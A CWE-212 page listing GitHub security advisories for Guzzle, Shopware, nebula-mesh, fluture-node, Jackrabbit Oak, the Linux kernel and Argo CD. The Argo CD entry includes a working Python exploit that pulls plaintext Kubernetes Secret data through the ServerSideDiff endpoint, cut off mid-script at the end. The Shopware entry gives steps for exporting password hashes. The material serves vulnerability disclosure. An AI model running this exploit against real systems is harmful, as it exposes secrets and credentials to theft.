CWE-212
AllowedImproper Removal of Sensitive Information Before Storage or Transfer
Abstraction: Base · Status: Incomplete
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
156 vulnerabilities reference this CWE, most recent first.
GHSA-25MQ-V84Q-4J7R
Vulnerability from github – Published: 2022-06-21 16:57 – Updated: 2022-07-12 21:58Impact
Authorization headers on requests are sensitive information. When using our Curl handler, it is possible to use the CURLOPT_HTTPAUTH option to specify an Authorization header. On making a request which responds with a redirect to a URI with a different origin, if we choose to follow it, we should remove the CURLOPT_HTTPAUTH and CURLOPT_USERPWD options before continuing, stopping curl from appending the Authorization header to the new request. Previously, we would only consider a change in host. Now, we consider any change in host, port or scheme to be a change in origin.
Patches
Affected Guzzle 7 users should upgrade to Guzzle 7.4.5 as soon as possible. Affected users using any earlier series of Guzzle should upgrade to Guzzle 6.5.8 or 7.4.5. Note that a partial fix was implemented in Guzzle 7.4.2, where a change in host would trigger removal of the curl-added Authorization header, however this earlier fix did not cover change in scheme or change in port.
Workarounds
If you do not require or expect redirects to be followed, one should simply disable redirects all together. Alternatively, one can specify to use the Guzzle stream handler backend, rather than curl.
References
For more information
If you have any questions or comments about this advisory, please get in touch with us in #guzzle on the PHP HTTP Slack. Do not report additional security advisories in that public channel, however - please follow our vulnerability reporting process.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31090"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T16:57:10Z",
"nvd_published_at": "2022-06-27T22:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`Authorization` headers on requests are sensitive information. When using our Curl handler, it is possible to use the `CURLOPT_HTTPAUTH` option to specify an `Authorization` header. On making a request which responds with a redirect to a URI with a different origin, if we choose to follow it, we should remove the `CURLOPT_HTTPAUTH` and `CURLOPT_USERPWD` options before continuing, stopping curl from appending the `Authorization` header to the new request. Previously, we would only consider a change in host. Now, we consider any change in host, port or scheme to be a change in origin.\n\n### Patches\n\nAffected Guzzle 7 users should upgrade to Guzzle 7.4.5 as soon as possible. Affected users using any earlier series of Guzzle should upgrade to Guzzle 6.5.8 or 7.4.5. Note that a partial fix was implemented in Guzzle 7.4.2, where a change in host would trigger removal of the curl-added Authorization header, however this earlier fix did not cover change in scheme or change in port.\n\n### Workarounds\n\nIf you do not require or expect redirects to be followed, one should simply disable redirects all together. Alternatively, one can specify to use the Guzzle stream handler backend, rather than curl.\n\n### References\n\n* [RFC9110 Section 15.4](https://www.rfc-editor.org/rfc/rfc9110.html#name-redirection-3xx)\n* [CVE-2022-27776](https://curl.se/docs/CVE-2022-27776.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, please get in touch with us in `#guzzle` on the [PHP HTTP Slack](https://php-http.slack.com/). Do not report additional security advisories in that public channel, however - please follow our [vulnerability reporting process](https://github.com/guzzle/guzzle/security/policy).\n",
"id": "GHSA-25mq-v84q-4j7r",
"modified": "2022-07-12T21:58:38Z",
"published": "2022-06-21T16:57:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-25mq-v84q-4j7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31090"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/1dd98b0564cb3f6bd16ce683cb755f94c10fbd82"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/guzzlehttp/guzzle/CVE-2022-31090.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/blob/6.5.8/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/blob/7.4.5/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-24"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5246"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CURLOPT_HTTPAUTH option not cleared on change of origin"
}
GHSA-27C9-VP3W-6WW8
Vulnerability from github – Published: 2025-10-21 18:03 – Updated: 2025-10-21 18:03Impact
Malicious actors can exploit this finding to export sensitive customer information from a Shopware application, including password hashes and password reset tokens. In SaaS deployments, this primarily affects customer accounts. In on-premise deployments, however, it also includes the hashes and recovery tokens of administrator-level accounts, which increases the potential impact. This risk is noteworthy because users may reuse the same or similar passwords across different services. In such cases, exposed hashes could allow attackers to recover credentials that might also be valid outside of Shopware.
Description
Sensitive information disclosure occurs when an application inadvertently displays sensitive information to its users. Depending on the context, websites can leak all kinds of information including: • Data regarding other users, such as usernames and/or e-mail addresses • Sensitive commercial data such as customer names • Technical details about the website and/or the underlying infrastructure Disclosing technical details, such as detailed version information, allows malicious actors to look for targeted vulnerabilities and/or misconfigurations in the application or in the underlying infrastructure. In addition, an application is more likely to be targeted by attacks that specifically target a particular version of the software used.
Applicability
The Shopware application exposes sensitive information to users within the export section. The Shopware application allows admins to import and export data within the application. To do this import/export profiles can be created. These profiles tell the application which tables within the database map to which columns in the generated file. During testing it was noticed that sensitive information such as password hashes or reset codes can also be included within the export. This can be done by creating a custom mapping that includes these fields within the export. To exploit this vulnerability, an account with permissions to create import/export profiles and to create exports, is required.
Reproduction
To reproduce this vulnerability, the steps below can be followed. 1. Log in to Shopware application with an admin account capable of creating import/export profiles and creating exports 2. Create a new import/export profile 3. Add a new mapping for the ‘password’ database entry 4. Create an export using the new profile 5. Notice that the password hashes of the users are available within the export file.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "6.7.0.0"
},
{
"fixed": "6.7.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/core"
},
"ranges": [
{
"events": [
{
"introduced": "6.7.0.0"
},
{
"fixed": "6.7.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.10.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-21T18:03:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nMalicious actors can exploit this finding to export sensitive customer information from a Shopware application, including password hashes and password reset tokens. In SaaS deployments, this primarily affects customer accounts. In on-premise deployments, however, it also includes the hashes and recovery tokens of administrator-level accounts, which increases\nthe potential impact. \nThis risk is noteworthy because users may reuse the same or similar passwords across different services. In such cases, exposed hashes could allow attackers to recover credentials that might also be valid outside of Shopware.\n\n#### Description\nSensitive information disclosure occurs when an application inadvertently displays sensitive information to its users. Depending on the context, websites can leak all kinds of information including:\n\u2022 Data regarding other users, such as usernames and/or e-mail addresses\n\u2022 Sensitive commercial data such as customer names\n\u2022 Technical details about the website and/or the underlying infrastructure\nDisclosing technical details, such as detailed version information, allows malicious actors to look for targeted vulnerabilities and/or misconfigurations in the application or in the underlying infrastructure. In addition, an application is more likely to be targeted by attacks that specifically target a particular version of the software used.\n\n#### Applicability\nThe Shopware application exposes sensitive information to users within the export section.\nThe Shopware application allows admins to import and export data within the application. To do this import/export profiles can be created. These profiles tell the application which tables within the database map to which columns in the generated file. During testing it was noticed that sensitive information such as password hashes or reset codes can also be included within the export. This can be done by creating a custom mapping that includes these fields within the export.\nTo exploit this vulnerability, an account with permissions to create import/export profiles and to create exports, is required.\n\n#### Reproduction \nTo reproduce this vulnerability, the steps below can be followed.\n1. Log in to Shopware application with an admin account capable of creating import/export profiles and creating exports\n2. Create a new import/export profile\n3. Add a new mapping for the \u2018password\u2019 database entry\n4. Create an export using the new profile\n5. Notice that the password hashes of the users are available within the export file.",
"id": "GHSA-27c9-vp3w-6ww8",
"modified": "2025-10-21T18:03:16Z",
"published": "2025-10-21T18:03:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/security/advisories/GHSA-27c9-vp3w-6ww8"
},
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/commit/c2c98050aff7b90fe7232f6dac9b6b7143183083"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopware/shopware"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Shopware exposes sensitive user information via CSV export mapping"
}
GHSA-2P2F-PX33-4VV5
Vulnerability from github – Published: 2026-07-14 20:05 – Updated: 2026-07-14 20:05Impact
The web handler renderMobileBundle (internal/web/handlers.go:1325) passes the real *pki.CAResolver directly into mobilebundle.Build. Inside Build (internal/mobilebundle/builder.go:54), resolver.LoadByID decrypts the CA's ed25519 private key into a *pki.CAManager, but Build never calls CAManager.Wipe() on any return path (success or any of the error paths at lines 56, 62, 68, 80, 86, 92, 98, 102, 109, 118, 150).
As a result, when a mobile-bundle request goes through the web UI and Build returns — especially on error (missing network, invalid prefix, DB error, signing failure) — the plaintext CA private key remains on the Go heap, unwiped, until garbage collection. An attacker able to read process memory (core dump, swap, memory-scraping) can recover the CA signing key, which would allow minting arbitrary host certificates for the mesh.
The API handler (internal/api/mobile_bundle.go:74) already does this correctly: it loads the CAManager, defer caMgr.Wipe(), and wraps it in caManagerResolver. Only the web path is affected.
This is the same key-zeroization class previously addressed in GHSA-8h84-fhqq-q58v.
Patches
Add defer caMgr.Wipe() inside mobilebundle.Build immediately after the LoadByID call so every caller (web and API) is protected on all return paths. Ensure CAManager.Wipe() is idempotent, since the API handler also wipes the same manager.
Workarounds
None at the configuration level; requires a code fix.
Resources
internal/web/handlers.go:1325internal/mobilebundle/builder.go:54internal/api/mobile_bundle.go:74(correct reference implementation)- Prior related advisory: GHSA-8h84-fhqq-q58v
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/forgekeep/nebula-mesh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53604"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-316"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:05:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nThe web handler `renderMobileBundle` (`internal/web/handlers.go:1325`) passes the real `*pki.CAResolver` directly into `mobilebundle.Build`. Inside `Build` (`internal/mobilebundle/builder.go:54`), `resolver.LoadByID` decrypts the CA\u0027s ed25519 private key into a `*pki.CAManager`, but `Build` never calls `CAManager.Wipe()` on any return path (success or any of the error paths at lines 56, 62, 68, 80, 86, 92, 98, 102, 109, 118, 150).\n\nAs a result, when a mobile-bundle request goes through the **web** UI and `Build` returns \u2014 especially on error (missing network, invalid prefix, DB error, signing failure) \u2014 the plaintext CA private key remains on the Go heap, unwiped, until garbage collection. An attacker able to read process memory (core dump, swap, memory-scraping) can recover the CA signing key, which would allow minting arbitrary host certificates for the mesh.\n\nThe **API** handler (`internal/api/mobile_bundle.go:74`) already does this correctly: it loads the `CAManager`, `defer caMgr.Wipe()`, and wraps it in `caManagerResolver`. Only the web path is affected.\n\nThis is the same key-zeroization class previously addressed in GHSA-8h84-fhqq-q58v.\n\n## Patches\n\nAdd `defer caMgr.Wipe()` inside `mobilebundle.Build` immediately after the `LoadByID` call so every caller (web and API) is protected on all return paths. Ensure `CAManager.Wipe()` is idempotent, since the API handler also wipes the same manager.\n\n## Workarounds\n\nNone at the configuration level; requires a code fix.\n\n## Resources\n\n- `internal/web/handlers.go:1325`\n- `internal/mobilebundle/builder.go:54`\n- `internal/api/mobile_bundle.go:74` (correct reference implementation)\n- Prior related advisory: GHSA-8h84-fhqq-q58v",
"id": "GHSA-2p2f-px33-4vv5",
"modified": "2026-07-14T20:05:38Z",
"published": "2026-07-14T20:05:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-2p2f-px33-4vv5"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/commit/1f1ab9aa8472239763d967e3d50a3cd53a1a79b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/forgekeep/nebula-mesh"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.3.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "nebula-mesh: CA private key not zeroized on web mobile-bundle error paths"
}
GHSA-32X6-QVW6-MXJ4
Vulnerability from github – Published: 2022-03-01 22:14 – Updated: 2024-10-24 21:46Impact
Using followRedirects or followRedirectsWith with any of the redirection strategies built into fluture-node 4.0.0 or 4.0.1, paired with a request that includes confidential headers such as Authorization or Cookie, exposes you to a vulnerability where, if the destination server were to redirect the request to a server on a third-party domain, or the same domain over unencrypted HTTP, the headers would be included in the follow-up request and be exposed to the third party, or potential http traffic sniffing.
Patches
The redirection strategies made available in version 4.0.2 automatically redact confidential headers when a redirect is followed across to another origin.
Workarounds
Use a custom redirection strategy via the followRedirectsWith function. The custom strategy can be based on the new strategies available in fluture-node@4.0.2.
References
- This vulnerability was discovered after the announcement of similar vulnerabilities in the
follow-redirectspackage. There is more information there: https://github.com/advisories/GHSA-74fj-2j2h-c42q and https://huntr.dev/bounties/7cf2bf90-52da-4d59-8028-a73b132de0db/ - Fixed in 125e4474f910c1507f8ec3232848626fbc0f55c4 and 0c99bc511533d48be17dc6bfe641f7d0aeb34d77
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fluture-node"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pyquest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24719"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212",
"CWE-359",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-01T22:14:57Z",
"nvd_published_at": "2022-03-01T21:15:00Z",
"severity": "LOW"
},
"details": "### Impact\n\nUsing `followRedirects` or `followRedirectsWith` with any of the redirection strategies built into fluture-node 4.0.0 or 4.0.1, paired with a request that includes confidential headers such as Authorization or Cookie, exposes you to a vulnerability where, if the destination server were to redirect the request to a server on a third-party domain, or the same domain over unencrypted HTTP, the headers would be included in the follow-up request and be exposed to the third party, or potential http traffic sniffing.\n\n### Patches\n\nThe redirection strategies made available in version 4.0.2 automatically redact confidential headers when a redirect is followed across to another origin.\n\n### Workarounds\n\nUse a custom redirection strategy via the `followRedirectsWith` function. The custom strategy can be based on the new strategies available in fluture-node@4.0.2.\n\n### References\n\n- This vulnerability was discovered after the announcement of similar vulnerabilities in the `follow-redirects` package. There is more information there: https://github.com/advisories/GHSA-74fj-2j2h-c42q and https://huntr.dev/bounties/7cf2bf90-52da-4d59-8028-a73b132de0db/\n- Fixed in 125e4474f910c1507f8ec3232848626fbc0f55c4 and 0c99bc511533d48be17dc6bfe641f7d0aeb34d77\n ",
"id": "GHSA-32x6-qvw6-mxj4",
"modified": "2024-10-24T21:46:17Z",
"published": "2022-03-01T22:14:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/security/advisories/GHSA-32x6-qvw6-mxj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24719"
},
{
"type": "WEB",
"url": "https://github.com/psf/requests/pull/4718"
},
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/commit/0c99bc511533d48be17dc6bfe641f7d0aeb34d77"
},
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/commit/125e4474f910c1507f8ec3232848626fbc0f55c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/fluture-js/fluture-node"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyquest/PYSEC-2022-43051.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/request-util/PYSEC-2022-43052.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Forwarding of confidentials headers to third parties in fluture-node"
}
GHSA-3H68-WVV6-8R5H
Vulnerability from github – Published: 2021-12-10 17:20 – Updated: 2021-07-28 18:09The optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.22.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.jackrabbit:oak-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "1.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.jackrabbit:oak-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1940"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-29T22:04:32Z",
"nvd_published_at": "2020-01-28T17:15:00Z",
"severity": "HIGH"
},
"details": "The optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.",
"id": "GHSA-3h68-wvv6-8r5h",
"modified": "2021-07-28T18:09:42Z",
"published": "2021-12-10T17:20:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1940"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3da8e2fd253ecd4d3a0de71ce255631148b54be8500225b5812f7737@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r45b0e2fb6ac51c5a03952b08b5e0efde1249ecb809884cc87eb0bd99@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r601637e38ee743e845856a4e24915cb8db26ae80ca782bef91989cbc@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra295f919586b19def7cc7713d9d78595507d5f703362fccb779eeeb9@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra6b3e78f5ed545c1d859d664f66c6d3fc5d731d9b1d842349654e4f0@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb3023cfd45441b570c1abaa347d0cac78df97b5d3f27d674d01b3d2a@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rba884dbe733781cbaaffa28b77bc37a6a9f948b3a72a1bdad5e1587c@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbef4701b5ce4d827182e70ad7b4d987a9157682ba3643e05a9ef5a7b@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc35a57ecdeae342d46f729d6bc9750ba860c101f450cc171798dba28@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rccc0ed467faa35734ea16b8f5de5603e708936c41a4eddd90fddeaf0%40%3Cusers.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rccc0ed467faa35734ea16b8f5de5603e708936c41a4eddd90fddeaf0@%3Cannounce.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/01/28/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Removal of Sensitive Information Before Storage or Transfer in Apache Jackrabbit Oak"
}
GHSA-3HPJ-266F-M43F
Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2023-04-03 18:32A flaw that boot CPU could be vulnerable for the speculative execution behavior kind of attacks in the Linux kernel X86 CPU Power management options functionality was found in the way user resuming CPU from suspend-to-RAM. A local user could use this flaw to potentially get unauthorized access to some memory of the CPU similar to the speculative execution behavior kind of attacks.
{
"affected": [],
"aliases": [
"CVE-2023-1637"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-27T22:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw that boot CPU could be vulnerable for the speculative execution behavior kind of attacks in the Linux kernel X86 CPU Power management options functionality was found in the way user resuming CPU from suspend-to-RAM. A local user could use this flaw to potentially get unauthorized access to some memory of the CPU similar to the speculative execution behavior kind of attacks.",
"id": "GHSA-3hpj-266f-m43f",
"modified": "2023-04-03T18:32:05Z",
"published": "2023-03-28T00:34:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1637"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e2a1256b17b16f9b9adf1b6fea56819e7b68e463"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=27398"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3V3M-WC6V-X4X3
Vulnerability from github – Published: 2026-05-07 01:56 – Updated: 2026-05-11 13:30Summary
There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.
Details
Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:
// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
TargetState: string(diffRes.PredictedLive),
LiveState: string(diffRes.NormalizedLive),
})
A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:
if o.ignoreMutationWebhook {
predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}
The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.
When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:
kubectl apply --server-side --dry-run=server --field-manager=argocd-controller
For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.
PoC
#!/usr/bin/env python3
"""
Argo CD ServerSideDiff Secret Extraction PoC
Usage:
python3 poc.py <host> <token> <app> <project>
Example:
python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project
"""
import base64
import http.client
import json
import ssl
import struct
import sys
import urllib.parse
from collections import defaultdict
def encode_varint(v):
out = []
while v > 0x7f:
out.append((v & 0x7f) | 0x80)
v >>= 7
out.append(v & 0x7f)
return bytes(out)
def encode_str(field, val):
tag = (field << 3) | 2
raw = val.encode()
return encode_varint(tag) + encode_varint(len(raw)) + raw
def encode_bytes(field, val):
tag = (field << 3) | 2
return encode_varint(tag) + encode_varint(len(val)) + val
def encode_bool(field, val):
tag = (field << 3) | 0
return encode_varint(tag) + encode_varint(1 if val else 0)
def decode_varint(data, pos):
val, shift = 0, 0
while pos < len(data):
b = data[pos]; pos += 1
val |= (b & 0x7f) << shift; shift += 7
if not (b & 0x80):
break
return val, pos
def decode_fields(data):
fields = defaultdict(list)
pos = 0
while pos < len(data):
tag, pos = decode_varint(data, pos)
wtype = tag & 0x07
if wtype == 0:
val, pos = decode_varint(data, pos)
fields[tag >> 3].append(val)
elif wtype == 2:
length, pos = decode_varint(data, pos)
fields[tag >> 3].append(data[pos:pos + length])
pos += length
elif wtype == 5:
fields[tag >> 3].append(data[pos:pos + 4]); pos += 4
elif wtype == 1:
fields[tag >> 3].append(data[pos:pos + 8]); pos += 8
else:
break
return dict(fields)
# -- grpc-web framing --
def grpc_frame(payload):
return b"\x00" + struct.pack(">I", len(payload)) + payload
def decode_grpc_frames(data):
frames, pos = [], 0
while pos + 5 <= len(data):
flag = data[pos]
length = struct.unpack(">I", data[pos+1:pos+5])[0]
pos += 5
frames.append((flag, data[pos:pos+length]))
pos += length
return frames
# -- http helpers --
def make_conn(host):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)
def rest_get(conn, path, token):
conn.request("GET", path, headers={
"Authorization": "Bearer " + token,
"Accept": "application/json",
})
resp = conn.getresponse()
body = resp.read()
if resp.status != 200:
return None, "HTTP %d" % resp.status
return json.loads(body), None
def grpc_post(conn, token, payload):
conn.request("POST", "/application.ApplicationService/ServerSideDiff",
body=grpc_frame(payload), headers={
"Content-Type": "application/grpc-web+proto",
"Accept": "application/grpc-web+proto",
"X-Grpc-Web": "1",
"Authorization": "Bearer " + token,
})
resp = conn.getresponse()
raw = resp.read()
if resp.status != 200:
return None, "HTTP %d" % resp.status
frames = decode_grpc_frames(raw)
for flag, fdata in frames:
if flag == 0:
return fdata, None
return None, "no data frame in response"
# -- main --
def main():
if len(sys.argv) != 5:
print("Usage: python3 poc.py <host> <token> <app> <project>")
sys.exit(1)
host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
conn = make_conn(host)
# step 1: list managed resources for the app, find secrets
print("[*] Fetching managed resources for %s/%s ..." % (project, app_name))
data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token)
if err:
print("[-] Failed: %s" % err); sys.exit(1)
secrets = []
for r in data.get("items", []):
if r.get("kind") != "Secret":
continue
name = r.get("name", "")
ns = r.get("namespace", "")
live = r.get("liveState", "")
stype = "Opaque"
if live and live != "null":
try:
stype = json.loads(live).get("type", "Opaque")
except Exception:
pass
secrets.append((name, ns, stype, live))
if not secrets:
print("[-] No secrets found in managed resources"); sys.exit(0)
print("[+] Found %d secrets" % len(secrets))
# step 2: call ServerSideDiff for each secret
total_extracted = 0
for sname, sns, stype, live_json in secrets:
# build minimal target manifest (no data field)
target = {"apiVersion": "v1", "kind": "Secret",
"metadata": {"name": sname, "namespace": sns},
"type": stype}
# copy required annotations from live state for SA tokens
if live_json and live_json != "null":
try:
live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {})
k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")}
if k8s_annots:
target["metadata"]["annotations"] = k8s_annots
except Exception:
pass
# for TLS secrets, include required placeholder keys
if stype == "kubernetes.io/tls":
target["data"] = {
"tls.crt": base64.b64encode(b"PLACEHOLDER").decode(),
